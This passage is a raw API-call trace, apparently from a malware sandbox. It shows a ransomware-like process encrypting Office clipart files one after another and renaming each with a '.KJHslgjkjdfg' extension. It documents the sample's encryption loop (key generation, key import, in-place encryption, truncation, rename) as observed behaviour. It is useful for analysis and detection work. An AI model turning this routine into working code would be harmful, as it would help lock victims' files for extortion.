ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1573e300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0x60c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01041_.WMF", cAlternateFileName="")) returned 1 [0232.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.200] GetProcessHeap () returned 0x2ef0000 [0232.200] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.200] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.203] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.203] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.203] GetProcessHeap () returned 0x2ef0000 [0232.203] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.203] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.203] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.203] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.203] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.203] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.203] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.203] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.204] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.204] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.204] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x60c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x60c, lpOverlapped=0x0) returned 1 [0232.204] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x610, dwBufLen=0x610 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x610) returned 1 [0232.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.204] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x610, lpOverlapped=0x0) returned 1 [0232.204] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.204] SetEndOfFile (hFile=0x130) returned 1 [0232.207] GetProcessHeap () returned 0x2ef0000 [0232.207] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.207] GetProcessHeap () returned 0x2ef0000 [0232.207] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.207] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf.kjhslgjkjdfg")) returned 1 [0232.209] CloseHandle (hObject=0x130) returned 1 [0232.209] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd76600, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7cd76600, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1b04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01394_.WMF", cAlternateFileName="")) returned 1 [0232.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.212] GetProcessHeap () returned 0x2ef0000 [0232.212] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.212] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.213] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0232.217] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.217] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.217] GetProcessHeap () returned 0x2ef0000 [0232.218] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.218] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.218] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.218] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.218] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.218] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.218] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.218] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.218] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.219] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.219] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.219] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.219] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b04, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b04, lpOverlapped=0x0) returned 1 [0232.220] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b10) returned 1 [0232.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.220] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b10, lpOverlapped=0x0) returned 1 [0232.220] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.220] SetEndOfFile (hFile=0x130) returned 1 [0232.223] GetProcessHeap () returned 0x2ef0000 [0232.223] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.223] GetProcessHeap () returned 0x2ef0000 [0232.223] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf.kjhslgjkjdfg")) returned 1 [0232.225] CloseHandle (hObject=0x130) returned 1 [0232.225] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f2b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f2b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01395_.WMF", cAlternateFileName="")) returned 1 [0232.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.226] GetProcessHeap () returned 0x2ef0000 [0232.226] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.226] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.227] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.229] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.229] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.229] GetProcessHeap () returned 0x2ef0000 [0232.229] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.229] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.229] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.229] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.229] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.229] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.229] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.230] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.230] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.230] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.230] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x138c, lpOverlapped=0x0) returned 1 [0232.231] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1390, dwBufLen=0x1390 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1390) returned 1 [0232.231] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.231] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1390, lpOverlapped=0x0) returned 1 [0232.232] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.232] SetEndOfFile (hFile=0x130) returned 1 [0232.234] GetProcessHeap () returned 0x2ef0000 [0232.234] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.234] GetProcessHeap () returned 0x2ef0000 [0232.234] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.235] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf.kjhslgjkjdfg")) returned 1 [0232.236] CloseHandle (hObject=0x130) returned 1 [0232.236] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01565_.WMF", cAlternateFileName="")) returned 1 [0232.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.240] GetProcessHeap () returned 0x2ef0000 [0232.240] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.241] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.244] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0232.277] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.277] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.277] GetProcessHeap () returned 0x2ef0000 [0232.277] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.277] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.277] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.277] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.277] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.278] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.278] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.278] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.278] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.278] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.278] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6cc4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6cc4, lpOverlapped=0x0) returned 1 [0232.281] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6cd0, dwBufLen=0x6cd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6cd0) returned 1 [0232.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.282] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6cd0, lpOverlapped=0x0) returned 1 [0232.282] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.282] SetEndOfFile (hFile=0x130) returned 1 [0232.285] GetProcessHeap () returned 0x2ef0000 [0232.285] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.285] GetProcessHeap () returned 0x2ef0000 [0232.285] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf.kjhslgjkjdfg")) returned 1 [0232.287] CloseHandle (hObject=0x130) returned 1 [0232.287] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a6e400, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8a6e400, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00017_.WMF", cAlternateFileName="")) returned 1 [0232.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.290] GetProcessHeap () returned 0x2ef0000 [0232.290] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.290] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, 